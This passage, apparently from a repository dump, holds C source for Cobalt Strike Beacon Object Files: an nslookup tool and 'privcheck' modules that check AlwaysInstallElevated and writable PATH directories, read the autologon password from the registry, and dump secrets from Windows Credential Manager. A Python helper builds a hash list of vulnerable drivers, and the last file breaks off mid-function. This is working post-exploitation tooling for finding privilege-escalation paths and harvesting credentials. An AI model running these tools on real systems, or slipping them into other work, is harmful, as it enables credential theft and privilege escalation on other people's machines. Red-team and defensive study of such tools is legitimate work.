(ex. non latin characters in Wide string)\n    if (buffersize == -1)\n        return;\n    \n    char* transferBuffer = (char*)intAlloc(bufsize);\n    intBuffer = (char*)intAlloc(buffersize);\n    /*Print string to memory buffer*/\n    va_start(args, format);\n    MSVCRT$vsnprintf(intBuffer, buffersize, format, args); // tmpBuffer2 has a null terminated string\n    va_end(args);\n    if(buffersize + currentoutsize < bufsize) // If this print doesn't overflow our output buffer, just buffer it to the end\n    {\n        //BeaconFormatPrintf(&output, intBuffer);\n        memcpy(output+currentoutsize, intBuffer, buffersize);\n        currentoutsize += buffersize;\n    }\n    else // If this print does overflow our output buffer, lets print what we have and clear any thing else as it is likely this is a large print\n    {\n        curloc = intBuffer;\n        while(buffersize > 0)\n        {\n            transfersize = bufsize - currentoutsize; // what is the max we could transfer this request\n            if(buffersize < transfersize) //if I have less then that, lets just transfer what's left\n            {\n                transfersize = buffersize;\n            }\n            memcpy(output+currentoutsize, curloc, transfersize); // copy data into our transfer buffer\n            currentoutsize += transfersize;\n            if(currentoutsize == bufsize)\n            {\n            printoutput(FALSE); // sets currentoutsize to 0 and prints\n            }\n            memset(transferBuffer, 0, transfersize); // reset our transfer buffer\n            curloc += transfersize; // increment by how much data we just wrote\n            buffersize -= transfersize; // subtract how much we just wrote from how much we are writing overall\n        }\n    }\n    intFree(intBuffer);\n    intFree(transferBuffer);\n}\n\nvoid printoutput(BOOL done)\n{\n\n    char * msg = NULL;\n    BeaconOutput(CALLBACK_OUTPUT, output, currentoutsize);\n    currentoutsize = 0;\n    memset(output, 0, bufsize);\n    if(done) {MSVCRT$free(output); output=NULL;}\n}\n\n\n#ifdef DYNAMIC_LIB_COUNT\n\n\ntypedef struct loadedLibrary {\n    HMODULE hMod; // mod handle\n    const char * name; // name normalized to uppercase\n}loadedLibrary, *ploadedLibrary;\nloadedLibrary loadedLibraries[DYNAMIC_LIB_COUNT] __attribute__((section (\".data\"))) = {0};\nDWORD loadedLibrariesCount __attribute__((section (\".data\"))) = 0;\n\nBOOL intstrcmp(LPCSTR szLibrary, LPCSTR sztarget)\n{\n    BOOL bmatch = FALSE;\n    DWORD pos = 0;\n    while(szLibrary[pos] && sztarget[pos])\n    {\n        if(szLibrary[pos] != sztarget[pos])\n        {\n            goto end;\n        }\n        pos++;\n    }\n    if(szLibrary[pos] | sztarget[pos]) // if either of these down't equal null then they can't match\n        {goto end;}\n    bmatch = TRUE;\n\n    end:\n    return bmatch;\n}\n\nFARPROC DynamicLoad(const char * szLibrary, const char * szFunction)\n{\n    FARPROC fp = NULL;\n    HMODULE hMod = NULL;\n    DWORD i = 0;\n    DWORD liblen = 0;\n    for(i = 0; i < loadedLibrariesCount; i++)\n    {\n        if(intstrcmp(szLibrary, loadedLibraries[i].name))\n        {\n            hMod = loadedLibraries[i].hMod;\n        }\n    }\n    if(!hMod)\n    {\n        hMod = LoadLibraryA(szLibrary);\n        if(!hMod){ \n            BeaconPrintf(CALLBACK_ERROR, \"*** DynamicLoad(%s) FAILED!\\nCould not find library to load.\", szLibrary);\n            return NULL;\n        }\n        loadedLibraries[loadedLibrariesCount].hMod = hMod;\n        loadedLibraries[loadedLibrariesCount].name = szLibrary; //And this is why this HAS to be a constant or not freed before bofstop\n        loadedLibrariesCount++;\n    }\n    fp = GetProcAddress(hMod, szFunction);\n\n    if (NULL == fp)\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"*** DynamicLoad(%s) FAILED!\\n\", szFunction);\n    }\n    return fp;\n}\n#endif\n\n\nchar* Utf16ToUtf8(const wchar_t* input)\n{\n    int ret = KERNEL32$WideCharToMultiByte(\n        CP_UTF8,\n        0,\n        input,\n        -1,\n        NULL,\n        0,\n        NULL,\n        NULL\n    );\n\n    char* newString = (char*)intAlloc(sizeof(char) * ret);\n\n    ret = KERNEL32$WideCharToMultiByte(\n        CP_UTF8,\n        0,\n        input,\n        -1,\n        newString,\n        sizeof(char) * ret,\n        NULL,\n        NULL\n    );\n\n    if (0 == ret)\n    {\n        goto fail;\n    }\n\nretloc:\n    return newString;\n/*location to free everything centrally*/\nfail:\n    if (newString){\n        intFree(newString);\n        newString = NULL;\n    };\n    goto retloc;\n}\n\n//release any global functions here\nvoid bofstop()\n{\n#ifdef DYNAMIC_LIB_COUNT\n    DWORD i;\n    for(i = 0; i < loadedLibrariesCount; i++)\n    {\n        FreeLibrary(loadedLibraries[i].hMod);\n    }\n#endif\n\treturn;\n}\n"
  },
  {
    "path": "SAL-BOF/nslookup/nslookup.c",
    "content": "#include <windows.h>\n#include <windns.h>\n#include \"base.c\"\n\ntypedef PCWSTR (*myInetNtopW)(\n  INT        Family,\n  const VOID *pAddr,\n  PWSTR      pStringBuf,\n  size_t     StringBufSize\n);\n\n\nvoid query_domain(const char * domainname, unsigned short wType, const char * dnsserver)\n{\n    PDNS_RECORD pdns = NULL, base = NULL;\n    DWORD options = DNS_QUERY_WIRE_ONLY; \n    DWORD status = 0;\n    struct in_addr inaddr = {0};\n    PIP4_ARRAY pSrvList = NULL;\n    unsigned int i = 0;\n    LPSTR errormsg = NULL;\n    DNS_FREE_TYPE freetype;\n    HMODULE WS = LoadLibraryA(\"WS2_32\");\n    myInetNtopW inetntow;\n    int (*intinet_pton)(INT, LPCSTR, PVOID);\n    if(WS == NULL)\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"Unable to load ws2 lib\");\n        return;\n    }\n    else\n    {\n        inetntow = (myInetNtopW)GetProcAddress(WS, \"InetNtopW\");\n        intinet_pton = (int (*)(INT,LPCSTR,PVOID))GetProcAddress(WS, \"inet_pton\");\n        if(!inetntow || !intinet_pton)\n        {\n            BeaconPrintf(CALLBACK_ERROR, \"Could not load functions\");\n            goto END;\n        }\n    }\n    \n    freetype = DnsFreeRecordListDeep; //since when was a define not good enough for microsoft\n    if(dnsserver != NULL) // I am assuming dnsserver is never set with cacheOnly\n    {\n        pSrvList = (PIP4_ARRAY)KERNEL32$LocalAlloc(LPTR, sizeof(IP4_ARRAY));\n        if (!pSrvList)\n        {\n            BeaconPrintf(CALLBACK_ERROR, \"could not allocate memory\");      \n            goto END;\n        }\n        if(intinet_pton(AF_INET, dnsserver, &(pSrvList->AddrArray[0])) != 1)\n        {\n            BeaconPrintf(CALLBACK_ERROR, \"Could not convert dnsserver from ip to binary\");\n            KERNEL32$LocalFree(pSrvList);\n            goto END;\n        }\n    //   pSrvList->AddrArray[0] = WSOCK32$inet_addr(dnsserver); //DNS (ASCII) to  IP address\n    //   pSrvList->\n        pSrvList->AddrCount = 1; \n        options = DNS_QUERY_WIRE_ONLY;\n    }\n    status = DNSAPI$DnsQuery_A(domainname, wType, options, pSrvList, &base, NULL);\n    if(pSrvList != NULL)\n        KERNEL32$LocalFree(pSrvList);\n    pdns = base;\n    if(status != 0 || pdns == NULL)\n    {\n\t\tinternal_printf(\"Query for domain name failed\\n\");\n\t\tstatus = KERNEL32$FormatMessageA(\n\t\t\tFORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,\n\t\t\tNULL,\n\t\t\tstatus,\n\t\t\t0,\n\t\t\t(LPSTR)&errormsg,\n\t\t\t0,\n\t\t\tNULL\n\t\t);\n\t\tif(status ==0)\n\t\t\tinternal_printf(\"unable to convert error message\\n\");\n\t\telse\n\t\t{\n\t\t\tinternal_printf(\"%s\", errormsg);\n\t\t\tKERNEL32$LocalFree(errormsg);\n\t\t}\n        goto END;\n    }\n\n    //this logic was modified from https://www.codeproject.com/Articles/21246/DNS-Query-MFC-based-Application DnsView.cpp\n    do {\n\n            if(pdns->wType == DNS_TYPE_A)\n            {\n                DWORD test = pdns->Data.A.IpAddress;\n                internal_printf(\"A %s %lu.%lu.%lu.%lu\\n\", pdns->pName, test & 0x000000ff, (test & 0x0000ff00) >> 8, (test & 0x00ff0000) >> 16, (test & 0xff000000) >> 24);\n            }else if(pdns->wType == DNS_TYPE_NS){\n                    internal_printf(\"NS %s %s\\n\", pdns->pName, pdns->Data.NS.pNameHost);\n            }else if(pdns->wType == DNS_TYPE_MD){\n                    internal_printf(\"MD %s %s\\n\", pdns->pName, pdns->Data.MD.pNameHost);\n            }else if(pdns->wType == DNS_TYPE_MF){\n\n                    internal_printf(\"MF %s %s\\n\", pdns->pName, pdns->Data.MF.pNameHost);\n            }else if(pdns->wType == DNS_TYPE_CNAME){\n                    internal_printf(\"CNAME %s %s\\n\", pdns->pName, pdns->Data.CNAME.pNameHost);\n            }else if(pdns->wType == DNS_TYPE_SOA){\n\n                    internal_printf(\"SOA %s  nameserv: %s\\r\\n\", pdns->pName, pdns->Data.SOA.pNamePrimaryServer);\n                    internal_printf(\"     admin: %s\\r\\n\", pdns->Data.SOA.pNameAdministrator);\n                    internal_printf(\"    serial: %lu\\r\\n\", pdns->Data.SOA.dwSerialNo);\n                    internal_printf(\"   refresh: %lu\\r\\n\", pdns->Data.SOA.dwRefresh);\n                    internal_printf(\"       ttl: %lu\\r\\n\", pdns->Data.SOA.dwDefaultTtl);\n                    internal_printf(\"    expire: %lu\\r\\n\", pdns->Data.SOA.dwExpire);\n                    internal_printf(\"     retry: %lu\", pdns->Data.SOA.dwRetry);\n            }else if(pdns->wType == DNS_TYPE_MB){\n                    internal_printf(\"MB %s %s\\n\", pdns->pName, pdns->Data.MB.pNameHost);\n            }else if(pdns->wType == DNS_TYPE_MG){\n                    internal_printf(\"MG %s %s\\n\", pdns->pName, pdns->Data.MG.pNameHost);\n            }else if(pdns->wType == DNS_TYPE_MR){\n\n                    internal_printf(\"MR %s %s\\n\", pdns->pName, pdns->Data.MR.pNameHost);\n            }else if(pdns->wType == DNS_TYPE_WKS){\n\n                    inaddr.S_un.S_addr = pdns->Data.WKS.IpAddress;\n                    //internal_printf(\"WKS %s [%s] proto: %d mask: %d\\n\", pdns->pName, WS2_32$inet_ntoa(inaddr), pdns->Data.WKS.chProtocol, pdns->Data.WKS.BitMask);\n            }else if(pdns->wType == DNS_TYPE_PTR){\n\n                    internal_printf(\"PTR %s %s\\n\", pdns->pName, pdns->Data.PTR.pNameHost);\n            }else if(pdns->wType == DNS_TYPE_HINFO){\n\n                    internal_printf(\"HINFO %s\\n\", pdns->pName);\n                    for (i = 0; i < pdns->Data.HINFO.dwStringCount; i++) {\n                            internal_printf(\"%s\\n\", pdns->Data.HINFO.pStringArray[i]);\n                    }\n            }else if(pdns->wType == DNS_TYPE_MINFO){\n                    internal_printf(\"MINFO %s err: %s name: %s\\n\", pdns->pName, pdns->Data.MINFO.pNameErrorsMailbox, pdns->Data.MINFO.pNameMailbox);\n            }else if(pdns->wType == DNS_TYPE_MX){\n\n                    internal_printf(\"MX %s %s pref: %d\\n\", pdns->pName, pdns->Data.MX.pNameExchange, pdns->Data.MX.wPreference);\n            }else if(pdns->wType == DNS_TYPE_TEXT){\n\n                    internal_printf(\"TEXT %s\\n\", pdns->pName);\n                    for (i = 0; i < pdns->Data.TXT.dwStringCount; i++) {\n                            internal_printf(\"%s\\n\", pdns->Data.TXT.pStringArray[i]);\n                    }\n            }else if(pdns->wType ==DNS_TYPE_RP){\n\n                    internal_printf(\"RP %s err: %s name: %s\\n\", pdns->pName, pdns->Data.RP.pNameErrorsMailbox, pdns->Data.RP.pNameMailbox);\n            }else if(pdns->wType == DNS_TYPE_AFSDB){\n\n                    internal_printf(\"AFSDB %s %s pref: %d\\n\", pdns->pName, pdns->Data.AFSDB.pNameExchange, pdns->Data.AFSDB.wPreference);\n            }else if(pdns->wType == DNS_TYPE_X25){\n\n                    internal_printf(\"X25 %s\\n\", pdns->pName);\n                    for (i = 0; i < pdns->Data.X25.dwStringCount; i++) {\n                            internal_printf(\"%s\\n\", pdns->Data.X25.pStringArray[i]);\n                    }\n            }else if(pdns->wType == DNS_TYPE_ISDN){\n\n                    internal_printf(\"ISDN %s\\n\", pdns->pName);\n                    for (i = 0; i < pdns->Data.ISDN.dwStringCount; i++) {\n                            internal_printf(\"%s\\n\", pdns->Data.ISDN.pStringArray[i]);\n                    }\n            }else if(pdns->wType == DNS_TYPE_RT){\n\n                    internal_printf(\"RT %s %s pref: %d\\n\", pdns->pName, pdns->Data.RT.pNameExchange, pdns->Data.RT.wPreference);\n            }else if(pdns->wType == DNS_TYPE_AAAA){\n\n                    internal_printf(\"AAAA %s [\", pdns->pName);\n                    for (i = 0; i < 16; i++) {\n                            internal_printf(\"%d\", pdns->Data.AAAA.Ip6Address.IP6Byte[i]);\n                            if (i != 15)\n                                    internal_printf(\".\");\n                    }\n                    internal_printf(\"]\\n\");\n            }else if(pdns->wType == DNS_TYPE_SRV){\n\n                    internal_printf(\"SRV %s %s port:%d prior:%d weight:%d\\n\", pdns->pName, pdns->Data.SRV.pNameTarget, pdns->Data.SRV.wPort, pdns->Data.SRV.wPriority, pdns->Data.SRV.wWeight);\n            }else if(pdns->wType == DNS_TYPE_WINSR){\n\n                    internal_printf(\"NBSTAT %s %s\\n\", pdns->pName, pdns->Data.WINSR.pNameResultDomain);\n            }else if(pdns->wType == DNS_TYPE_KEY){\n\n                    internal_printf(\"DNSKEY %s: flags %d, Protocol %d, Algorithm %d\\n\", pdns->pName, pdns->Data.KEY.wFlags, pdns->Data.KEY.chProtocol, pdns->Data.KEY.chAlgorithm);\n            }else{\n\n                    internal_printf(\"type unhandled\\n\");\n            }    \n\n        pdns = pdns->pNext;\n    } while (pdns);\n    END:\n    if(base)\n    {DNSAPI$DnsFree(base, freetype);}\n    FreeLibrary(WS);\n\n}\n\nunsigned int get_record_mapping(const char *record) {\n    if (record == NULL) {\n        return 0; \n    }\n   \n    if (MSVCRT$strcmp(record, \"A\") == 0) return 0x1;\n    else if (MSVCRT$strcmp(record, \"NS\") == 0) return 0x2;\n    else if (MSVCRT$strcmp(record, \"MD\") == 0) return 0x3;\n    else if (MSVCRT$strcmp(record, \"MF\") == 0) return 0x4;\n    else if (MSVCRT$strcmp(record, \"CNAME\") == 0) return 0x5;\n    else if (MSVCRT$strcmp(record, \"SOA\") == 0) return 0x6;\n    else if (MSVCRT$strcmp(record, \"MB\") == 0) return 0x7;\n    else if (MSVCRT$strcmp(record, \"MG\") == 0) return 0x8;\n    else if (MSVCRT$strcmp(record, \"MR\") == 0) return 0x9;\n    else if (MSVCRT$strcmp(record, \"WKS\") == 0) return 0xb;\n    else if (MSVCRT$strcmp(record, \"PTR\") == 0) return 0xc;\n    else if (MSVCRT$strcmp(record, \"HINFO\") == 0) return 0xd;\n    else if (MSVCRT$strcmp(record, \"MINFO\") == 0) return 0xe;\n    else if (MSVCRT$strcmp(record, \"MX\") == 0) return 0xf;\n    else if (MSVCRT$strcmp(record, \"TEXT\") == 0) return 0x10;\n    else if (MSVCRT$strcmp(record, \"RP\") == 0) return 0x11;\n    else if (MSVCRT$strcmp(record, \"AFSDB\") == 0) return 0x12;\n    else if (MSVCRT$strcmp(record, \"X25\") == 0) return 0x13;\n    else if (MSVCRT$strcmp(record, \"ISDN\") == 0) return 0x14;\n    else if (MSVCRT$strcmp(record, \"RT\") == 0) return 0x15;\n    else if (MSVCRT$strcmp(record, \"AAAA\") == 0) return 0x1c;\n    else if (MSVCRT$strcmp(record, \"SRV\") == 0) return 0x21;\n    else if (MSVCRT$strcmp(record, \"WINSR\") == 0) return 0xff02;\n    else if (MSVCRT$strcmp(record, \"KEY\") == 0) return 0x19;\n    else if (MSVCRT$strcmp(record, \"ANY\") == 0) return 0xff;\n\n    return 0;\n}\n\nVOID go( \n\tIN PCHAR Buffer, \n\tIN ULONG Length \n) \n{\n\tdatap parser;\n\tchar * target = NULL;\n\tchar * server = NULL;\n        const char * s_type = NULL;\n\tunsigned short type;\n\n\tif(!bofstart())\n\t{\n\t\treturn;\n\t}\n\tBeaconDataParse(&parser, Buffer, Length);\n\ttarget = BeaconDataExtract(&parser, NULL);\n        s_type = BeaconDataExtract(&parser, NULL);\n\tserver = BeaconDataExtract(&parser, NULL);\n        type = get_record_mapping(s_type);\n        if(server[0] == 0)\n                server = NULL;\n\tquery_domain(target, type, server);\n\tprintoutput(TRUE);\n}\n"
  },
  {
    "path": "SAL-BOF/privcheck/alwaysinstallelevated.c",
    "content": "#include <windows.h>\n#include <stdio.h>\n#include \"beacon.h\"\n#include \"bofdefs.h\"\n\n#define ARRAY_SIZE(arr) (sizeof(arr) / sizeof(arr[0]))\n\nvoid go() {\n    HKEY hKey;\n    DWORD alwaysInstallElevated = 0;\n    DWORD bufferSize = sizeof(DWORD);\n    const TCHAR* subkeys[] = {\n        TEXT(\"HKEY_CURRENT_USER\"),\n        TEXT(\"HKEY_LOCAL_MACHINE\")\n    };\n\n    for (int i = 0; i < ARRAY_SIZE(subkeys); i++) {\n        if (ADVAPI32$RegOpenKeyExA((i == 0) ? HKEY_CURRENT_USER : HKEY_LOCAL_MACHINE,\n            TEXT(\"Software\\\\Policies\\\\Microsoft\\\\Windows\\\\Installer\"),\n            0,\n            KEY_QUERY_VALUE,\n            &hKey) == ERROR_SUCCESS) {\n\n            if (ADVAPI32$RegQueryValueExA(hKey,\n                TEXT(\"AlwaysInstallElevated\"),\n                NULL,\n                NULL,\n                (LPBYTE)&alwaysInstallElevated,\n                &bufferSize) == ERROR_SUCCESS) {\n\n                if (alwaysInstallElevated == 1) {\n                    BeaconPrintf(CALLBACK_OUTPUT, \"[ALWAYS_INSTALL_ELEVATED][%s] Always Install Elevated Check Result: Vulnerable\\n\", subkeys[i]);\n                }\n                else {\n                    BeaconPrintf(CALLBACK_OUTPUT, \"[ALWAYS_INSTALL_ELEVATED][%s] Always Install Elevated Check Result: Not Vulnerable\\n\", subkeys[i]);\n                }\n            }\n            else {\n                BeaconPrintf(CALLBACK_OUTPUT, \"[ALWAYS_INSTALL_ELEVATED][%s] Unable to query AlwaysInstallElevated value.\\n\", subkeys[i]);\n            }\n            ADVAPI32$RegCloseKey(hKey);\n        }\n        else {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[ALWAYS_INSTALL_ELEVATED][%s] Registry key for AlwaysInstallElevated does not seem to exist.\\n\", subkeys[i]);\n        }\n    }\n}\n"
  },
  {
    "path": "SAL-BOF/privcheck/autologon.c",
    "content": "#include <windows.h>\n#include <stdio.h>\n#include \"beacon.h\"\n#include \"bofdefs.h\"\n\nvoid go() {\n    HKEY hKey = NULL;\n    DWORD dwSize = 0;\n    DWORD dwType = 0;\n    char szAutoLogon[16] = {0};\n    char szUserName[256] = {0};\n    char szDomain[256] = {0};\n    char szPassword[256] = {0};\n    BOOL bAutoLogonFound = FALSE;\n    BOOL bUserNameFound = FALSE;\n    BOOL bDomainFound = FALSE;\n    BOOL bPasswordFound = FALSE;\n    LONG lResult = 0;\n\n    lResult = ADVAPI32$RegOpenKeyExA( HKEY_LOCAL_MACHINE, \"SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\", 0, KEY_READ, &hKey );\n    if (lResult != ERROR_SUCCESS) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[AUTOLOGON] Failed to open Winlogon registry key (error: 0x%lX)\\n\", lResult);\n        return;\n    }\n\n    dwSize = sizeof(szAutoLogon);\n    lResult = ADVAPI32$RegQueryValueExA(hKey, \"AutoAdminLogon\", NULL, &dwType, (LPBYTE)szAutoLogon, &dwSize);\n    if (lResult == ERROR_SUCCESS) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[AUTOLOGON] AutoAdminLogon: %s\\n\", szAutoLogon);\n        bAutoLogonFound = TRUE;\n    }\n\n    dwSize = sizeof(szDomain);\n    lResult = ADVAPI32$RegQueryValueExA(hKey, \"DefaultDomainName\", NULL, &dwType, (LPBYTE)szDomain, &dwSize);\n    if (lResult == ERROR_SUCCESS && szDomain[0] != '\\0') {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[AUTOLOGON] DefaultDomainName: %s\\n\", szDomain);\n        bDomainFound = TRUE;\n    }\n\n    dwSize = sizeof(szUserName);\n    lResult = ADVAPI32$RegQueryValueExA(hKey, \"DefaultUserName\", NULL, &dwType, (LPBYTE)szUserName, &dwSize);\n    if (lResult == ERROR_SUCCESS) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[AUTOLOGON] DefaultUserName: %s\\n\", szUserName);\n        bUserNameFound = TRUE;\n    }\n\n    dwSize = sizeof(szPassword);\n    lResult = ADVAPI32$RegQueryValueExA(hKey, \"DefaultPassword\", NULL, &dwType, (LPBYTE)szPassword, &dwSize);\n    if (lResult == ERROR_SUCCESS) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[AUTOLOGON] DefaultPassword: %s\\n\", szPassword);\n        bPasswordFound = TRUE;\n    }\n\n    if (!bAutoLogonFound) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[AUTOLOGON] AutoAdminLogon: Not Found\\n\");\n    }\n    if (!bUserNameFound) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[AUTOLOGON] DefaultUserName: Not Found\\n\");\n    }\n    if (!bPasswordFound) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[AUTOLOGON] DefaultPassword: Not Found\\n\");\n    }\n\n    if (bAutoLogonFound && szAutoLogon[0] == '1' && bPasswordFound) {\n        if (bDomainFound) {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[AUTOLOGON] VULNERABLE: Autologon credentials stored: %s\\\\%s:%s\\n\", szDomain, szUserName, szPassword);\n        } else {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[AUTOLOGON] VULNERABLE: Autologon credentials stored: %s:%s\\n\", szUserName, szPassword);\n        }\n    } else if (bAutoLogonFound && szAutoLogon[0] == '1') {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[AUTOLOGON] AutoAdminLogon enabled but no DefaultPassword found. Password may be in LSA secrets.\\n\");\n    } else {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[AUTOLOGON] Not vulnerable: Autologon not enabled or no credentials stored\\n\");\n    }\n\n    ADVAPI32$RegCloseKey(hKey);\n}\n"
  },
  {
    "path": "SAL-BOF/privcheck/credentialmanager.c",
    "content": "#include <windows.h>\n#include <stdio.h>\n#include <wincred.h>\n#include \"beacon.h\"\n#include \"bofdefs.h\"\n\nvoid go() {\n    DWORD dwCount = 0;\n    PCREDENTIALA *pCredentials = NULL;\n\n    if (!ADVAPI32$CredEnumerateA(NULL, 0, &dwCount, &pCredentials)) {\n        DWORD dwErr = KERNEL32$GetLastError();\n        if (dwErr == ERROR_NOT_FOUND) {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[CREDMANAGER] No credentials found in Credential Manager\\n\");\n        } else {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[CREDMANAGER] Error enumerating credentials: 0x%lX\\n\", dwErr);\n        }\n        return;\n    }\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"[CREDMANAGER] Found %lu credential(s)\\n\", dwCount);\n\n    for (DWORD i = 0; i < dwCount; i++) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[CREDMANAGER] --- Credential [%lu] ---\\n\", i + 1);\n\n        if (pCredentials[i]->TargetName != NULL) {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[CREDMANAGER]   Target: %s\\n\", pCredentials[i]->TargetName);\n        }\n\n        if (pCredentials[i]->UserName != NULL) {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[CREDMANAGER]   User:   %s\\n\", pCredentials[i]->UserName);\n        }\n\n        if (pCredentials[i]->CredentialBlobSize > 0 && pCredentials[i]->CredentialBlob != NULL) {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[CREDMANAGER]   Secret: %.*s\\n\",\n                pCredentials[i]->CredentialBlobSize,\n                (char*)pCredentials[i]->CredentialBlob);\n        } else {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[CREDMANAGER]   Secret: <empty or protected>\\n\");\n        }\n    }\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"[CREDMANAGER] Enumeration complete: %lu credential(s) found\\n\", dwCount);\n\n    ADVAPI32$CredFree(pCredentials);\n}\n"
  },
  {
    "path": "SAL-BOF/privcheck/download_vulnerable_driver_list.py",
    "content": "import csv\nimport sys\nfrom urllib.request import urlopen, Request\n\n'''\nif len(sys.argv) > 1:\n    OUTPUT_PATH = sys.argv[1]\nelse:\n    OUTPUT_PATH = \".\"\n\nCSV_FILE = OUTPUT_PATH + \"/drivers.csv\"\nHASH_OUTPUT_FILE = \"./privcheck/vulndrivers.h\"\n'''\n\nCSV_FILE = \"/tmp/drivers.csv\"\nHASH_OUTPUT_FILE = \"vulndrivers.h\"\n\n# Download CSV with all vulnerable hashes\ndriverreq = Request(\"https://www.loldrivers.io/api/drivers.csv\")\ntry:\n    with urlopen(driverreq) as response:\n        if response.getcode() == 200:\n            with open(CSV_FILE, \"wb\") as file:\n                file.write(response.read())\n        else:\n            print(f\"Request failed with status code: {response.getcode()}\")\nexcept Exception as e:\n    print(f\"An error occured: {e}\")\n\n\n# Extract relevant hashes\nhashes = set()\n\nwith open(CSV_FILE, 'r') as file:\n    reader = csv.DictReader(file)\n    for row in reader:\n        # Check if 'Category' matches\n        category = row.get(\"Category\", \"\").strip().lower()\n        if category in [\"vulnerable driver\", \"vulnerable drivers\"]:\n            # Collect SHA1, SHA256 and MD5 hashes if present\n            sha1_hash = row.get(\"KnownVulnerableSamples_SHA1\", \"\").strip().upper()\n            sha256_hash = row.get(\"KnownVulnerableSamples_SHA256\", \"\").strip().upper()\n            md5_hash = row.get(\"KnownVulnerableSamples_MD5\", \"\").strip().upper()\n\n            # Add hashes to the set (to ensure uniqueness)\n            if sha1_hash:\n                hashes.update(sha1_hash.split(','))\n            if sha256_hash:\n                hashes.update(sha256_hash.split(','))\n            if md5_hash:\n                hashes.update(md5_hash.split(','))\n\n\n# Format as C array in header file\nwith open(HASH_OUTPUT_FILE, 'w') as file:\n    file.write(\"#include <windows.h>\\n\")\n    file.write(\"#ifndef VULNDRIVERS_H\\n\")\n    file.write(\"#define VULNDRIVERS_H\\n\\n\")\n    file.write(\"const char* VulnerableHashes[] = {\\n\")\n\n    for hash_value in sorted(hashes):\n        hash_value = hash_value.strip()\n        if hash_value:  # Ignore empty values\n            file.write(f'    \"{hash_value}\",\\n')\n\n    file.write(\"    NULL // End of array\\n\")\n    file.write(\"};\\n\\n\")\n    file.write(\"#endif // VULNDRIVERS_H\\n\")\n    file.close()\n\nprint(f\"[*] {HASH_OUTPUT_FILE} updated\")"
  },
  {
    "path": "SAL-BOF/privcheck/hijackablepath.c",
    "content": "#include <windows.h>\n#include <string.h>\n#include \"bofdefs.h\"\n#include \"beacon.h\"\n#include <processthreadsapi.h>\n\nvoid go() {\n    HKEY hKey;\n    LONG openResult;\n    LONG queryResult;\n    DWORD valueType;\n    char data[1024];\n    DWORD dataSize = sizeof(data);\n    DWORD len;\n    HANDLE hToken, hImpersonatedToken;\n    DWORD GenericAccess = FILE_ADD_FILE;\n    int NumOfWritablePaths = 0;\n\n    openResult = ADVAPI32$RegOpenKeyExA(HKEY_LOCAL_MACHINE, \"SYSTEM\\\\CurrentControlSet\\\\Control\\\\Session Manager\\\\Environment\", 0, KEY_READ, &hKey);\n    if (openResult != ERROR_SUCCESS) {\n        BeaconPrintf(CALLBACK_OUTPUT,\"[WRITABLE_PATH] Error opening registry key: %d\\n\", openResult);\n    }\n\n    queryResult = ADVAPI32$RegQueryValueExA(hKey, \"Path\", NULL, &valueType, (LPBYTE)data, &dataSize);\n    if (queryResult != ERROR_SUCCESS) {\n        BeaconPrintf(CALLBACK_OUTPUT,\"[WRITABLE_PATH] Error querying registry value: %d\\n\", queryResult);\n        ADVAPI32$RegCloseKey(hKey);\n        return;\n    }\n\n    char* pathToken = MSVCRT$strtok(data, \";\");\n    while (pathToken != NULL) {\n        DWORD attributes = KERNEL32$GetFileAttributesA(pathToken);\n        if (attributes != INVALID_FILE_ATTRIBUTES && (attributes & FILE_ATTRIBUTE_DIRECTORY)) {\n\n            // Get length needed to allocate for the security descriptor.\n            if (!ADVAPI32$GetFileSecurityA(pathToken, OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION, NULL, 0, &len) && ERROR_INSUFFICIENT_BUFFER == KERNEL32$GetLastError()) {\n                // Allocate space needed for security descriptor\n                PSECURITY_DESCRIPTOR security = MSVCRT$malloc(len);\n                // If space allocated, then obtain the security descriptor\n                if (security && ADVAPI32$GetFileSecurityA(pathToken, OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION, security, len, &len)) {\n                    // The AccessCheck API requires an impersonation token\n                    if (ADVAPI32$OpenProcessToken(KERNEL32$GetCurrentProcess(), TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_DUPLICATE | STANDARD_RIGHTS_READ, &hToken)) {\n                        // Duplicate the necessary token\n                        if (ADVAPI32$DuplicateToken(hToken, SecurityImpersonation, &hImpersonatedToken)) {\n                            GENERIC_MAPPING mapping = {\n                                    FILE_GENERIC_READ,\n                                    FILE_GENERIC_WRITE,\n                                    FILE_GENERIC_EXECUTE,\n                                    FILE_ALL_ACCESS\n                            };\n\n                            PRIVILEGE_SET privileges = { 0 };\n                            DWORD grantedAccess = 0, privilegesLength = sizeof(privileges);\n                            BOOL result = FALSE;\n\n                            // Check if we have FILE_ADD_FILE access\n                            if (ADVAPI32$AccessCheck(security, hImpersonatedToken, GenericAccess, &mapping, &privileges, &privilegesLength, &grantedAccess, &result)) {\n                                if (result) {\n                                    BeaconPrintf(CALLBACK_OUTPUT,\"[WRITABLE_PATH] Found writable directory in PATH: %s\\n\", pathToken);\n                                    NumOfWritablePaths++;\n                                }\n                            }\n                            KERNEL32$CloseHandle(hImpersonatedToken);\n                        }\n                        